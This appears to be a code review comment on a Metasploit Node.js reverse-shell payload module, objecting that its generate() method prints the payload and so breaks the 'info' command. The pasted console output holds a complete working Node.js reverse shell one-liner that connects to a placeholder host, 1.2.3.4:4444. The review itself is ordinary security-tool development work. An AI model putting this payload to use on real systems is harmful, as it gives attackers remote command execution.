How useful is this, and why is it different from every other `generate()`? It's kind of a neat idea to echo to the screen, but doing this screws up `info` (and probably other methods that call `generate` and expect it to just generate: eg:

````
msf payload(shell_reverse_tcp) > info

[+] (function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; client.socket = net.connect(4444, "1.2.3.4", function() { client.socket.pipe(sh.stdin); util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); });})();

       Name: Command Shell, Reverse TCP (via nodejs)
     Module: payload/nodejs/shell_reverse_tcp
   Platform: NodeJS

[snip]
````

So, please remove this, and just do the usual `return super + command_string`